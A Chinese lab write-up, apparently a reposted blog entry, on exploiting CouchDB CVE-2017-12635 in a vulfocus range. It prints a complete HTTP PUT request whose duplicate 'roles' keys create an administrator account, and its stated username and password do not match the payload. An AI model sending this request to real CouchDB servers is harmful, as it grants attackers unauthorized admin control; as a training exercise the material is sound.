vulfocus靶场couchdb 权限绕过 (CVE-2017-12635)

ops/2024/9/22 23:40:10/

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。

在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。

下载postman 工具:https://postman.com/downloads

点击New 点击 HTTP

攻击代码:

PUT /_users/org.couchdb.user:Hacker1 HTTP/1.1
Host: 192.168.30.129:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 92{"type": "user","name": "Hacker1","roles": ["_admin"],"roles":[],"password": "123456"
}

我添加的用户为 Hacker,密码为666666,roles为_admin

数据改包前测试:登陆IP:IP:63073/_utils,出现登陆页面,输入用户名和密码,显示错误

postman 点击send后显示成功:


http://www.ppmy.cn/ops/9500.html

相关文章

基于LSTM的负荷预测

长短 期 记 忆 网 络 ( long short term memory, LSTM) [11-12]作为一种特殊的循环神经网络( recurrent neural network,RNN) ,主要用于解决长序列训 练过程中的梯度消失和梯度爆炸问题。典型的 LSTM 结构如…

011 springboot整合mybatis-plus 首页加载热商品food评分前8的食物

文章目录 ConfigRegistCenter.javaMybatisplusConfig.javaRedisConfig.javaFoodController.javaFood.javaJwtInterceptor.javaFoodMapper.javaIFoodService.javaFoodServiceImpl.javaJwtUtil.javaServerResult.javaServletInitializer.javaSpringbootLoginApplication.javafood…

std::tuple介绍和使用

基本概念 std::tuple 是 C11 中引入的一个标准库类型,它代表了一个固定大小的不同类型值的集合。元组可以被看作是 std::pair 的泛化形式,std::pair 只能保存两个元素,而 std::tuple 可以保存任意数量的元素。 从概念上讲,它们类…

AI大模型老师叶梓:构建知识图谱,从文本到知识的智能转换

在数字化时代,我们被海量的文本信息所包围,这些信息包含了丰富的知识。然而,这些信息往往是非结构化的,难以直接用于知识推理和决策支持。知识图谱作为一种将非结构化信息转化为结构化知识的有效工具,能够帮助我们更好…

【C++】学习笔记——类和对象_4

文章目录 二、类和对象13.运算符重载赋值运算符重载 14. 日期类的实现Date.h头文件Date.cpp源文件test.cpp源文件 未完待续 二、类和对象 13.运算符重载 赋值运算符重载 我们之前学了一个拷贝构造函数,本质上就是创建一个对象,该对象初始化为一个已经…

49.基于SpringBoot + Vue实现的前后端分离-爱心公益网站系统(项目 + 论文)

项目介绍 本站是一个B/S模式系统,采用SpringBoot Vue框架,MYSQL数据库设计开发,充分保证系统的稳定性。系统具有界面清晰、操作简单,功能齐全的特点,使得基于SpringBoot Vue技术的爱心公益网站系统设计与实现管理工作…

Environment Modules工具

Environment Modules工具 简介 Module是一个环境变量管理工具,可以很好的实现开发环境的切换。 具体可以查看官网文档 安装 安装(安装完成之后需要exit重新登录一下才会生效) yum install -y environment-modules命令介绍 module avai…

JS走马灯小功能制作

HTML代码&#xff1a; <div id"contain"><div id"content"> 作文&#xff0c;怎样才能写好&#xff1f;作文&#xff0c;好于勤读&#xff0c;作文&#xff0c;优于真情。作文一词&#xff0c;汇于欲要看究竟&#xff0c;处处细留心。作文于此…